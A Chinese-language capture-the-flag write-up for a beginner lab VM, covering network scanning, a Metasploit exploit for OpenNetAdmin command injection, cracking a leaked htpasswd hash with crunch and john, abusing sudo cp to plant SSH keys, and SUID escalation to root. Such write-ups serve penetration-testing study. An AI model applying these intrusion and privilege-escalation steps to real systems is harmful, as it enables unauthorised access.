靶机难度:初级 +
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- OpenNetAdmin 命令注入
- crunch 根据给定字符生成字典
- john 字典破解 hash
0x01 信息收集#
扫描靶机#
netdiscover的-r参数扫描192.168.1.0/16或者路由器管理界面查看有线连接的设备得到靶机ip
nmap扫描主机及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.3

靶机开放了22、80、10000三个端口,看了80端口发现是空白的,用curl确认:

确实没有内容,再看一下10000端口:

是Webmin,版本MiniServ 1.920
扫描目录#
gobuster扫描网站目录:
gobuster dir -u http://192.168.1.3 -s 200,301,302,307,401,403 -t 100 -q -x .php,.txt,.html,.zip,.bak,.tar.gz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt

发现有robot.txt和一个可疑401目录/reports,访问发现需要认证:

robots.txt里面发现目录/ona,与nmap扫描吻合,访问;

是openNetAdmin v18.1.1(一个IP网络系统和主机管理系统)
信息收集总结#
目前收集到的主要信息如下:
- ssh 22 端口开放,是否考虑爆破
- Webmin MiniServ 1.920 10000 端口 是否存在可利用漏洞
- openNetAdmin v18.1.1 /ona 目录 是否存在可利用漏洞
0x02 OpenNetAdmin 漏洞#
那就分别看看Webmin和openNetAdmin有没有能利用的漏洞:


searchsploit:

OK,那我开启msf搜索模块:

可以看到,msf中并没有我们刚才搜到的Unauthenticated RCE(Metasploit),openNetAdmin甚至一个都没有
那我们手动下载exploit-db上的exploit文件并移入msf的exploit数据库:
/usr/share/metasploit-framework/modules/exploits/
重启 Metasploit 就可以直接使用两个 exp 了,先使用Webmin的看一下:

竟然只支持Webmin<= 1.910版本,那试下openNetAdmin:

成功获取到meterpreter会话
0x03 普通用户提权#
如果要从meterpreter进入shell记得用Python获取一个tty,不然有些命令是无法执行的
python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c
我这里先不进入,老规矩,查看下当前目录、网站目录、家目录:

当前目录没啥,看下网站目录:

在网站目录,我们刚才不能访问的/reports子目录中的.htaccess文件中找到提示
在/var/www/.htpasswd中找到如下提示:
douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1
# To make things slightly less painful (a standard dictionary will likely fail),
# use the following character set for this 10 character password: aefhrt
给出了一个用户名和密码的hash值,提示我们需要爆破,密码位数为 10 位,包含aefhrt这 6 个字符
用kali自带的工具crunch生成密码字典,crunch可以根据我们指定的字符以及最大最小个数创建字典
Usage: crunch <min> <max> [options]
于是我使用crunch 10 10 aefhrt -o passwd生成密码字典:

再使用john来爆破hash:
echo '$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1' > hash
john --wordlist=passwd hash
在经历了漫长的等待之后得到密码fatherrrrr,于是我们使用douglas:登录ssh:
douglas:fatherrrrr
ssh douglas@192.168.1.3
sudo -l查看当前用户的权限

发现可以以jen的权限执行cp命令,于是准备切换到jen账户
0x04 提权 root#
ssh-keygen生成密钥,将公钥拷贝到/home/jen/.ssh目录下,之后使用jen账户登录:
ssh-keygen -b 2048
cp /home/douglas/.ssh/id_rsa.pub /tmp/authorized_keys

这个时候我们来到/tmp(临时目录)下给authorized_keys这个文件一个可执行权限
使用sudo以jen用户权限去执行 cp 命令,把刚刚生成的authorized_keys移动到/home/jen/.ssh/
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/
ssh jen@127.0.0.1

这里登录jen账户的时候提示我们有一封邮件,在/var/mail/中找到了这封名为jen的邮件:

从邮件得知了用户密码Moss:Fire!Fire!,SSH链接登陆之~
moss:Fire!Fire!
ssh moss@192.168.1.3
切换到moss账户后,又到了我熟悉的SUID提权,用find查看
find / -perm -u=s -type f 2>/dev/null

发现了SUID权限的/home/moss/.games/upyourgame,好像是个游戏,去玩一下:

啥狗屁逻辑,就是刁难一下你,然后直接给了root权限,最后在root目录成功拿到flag:

本文完。
参考文章: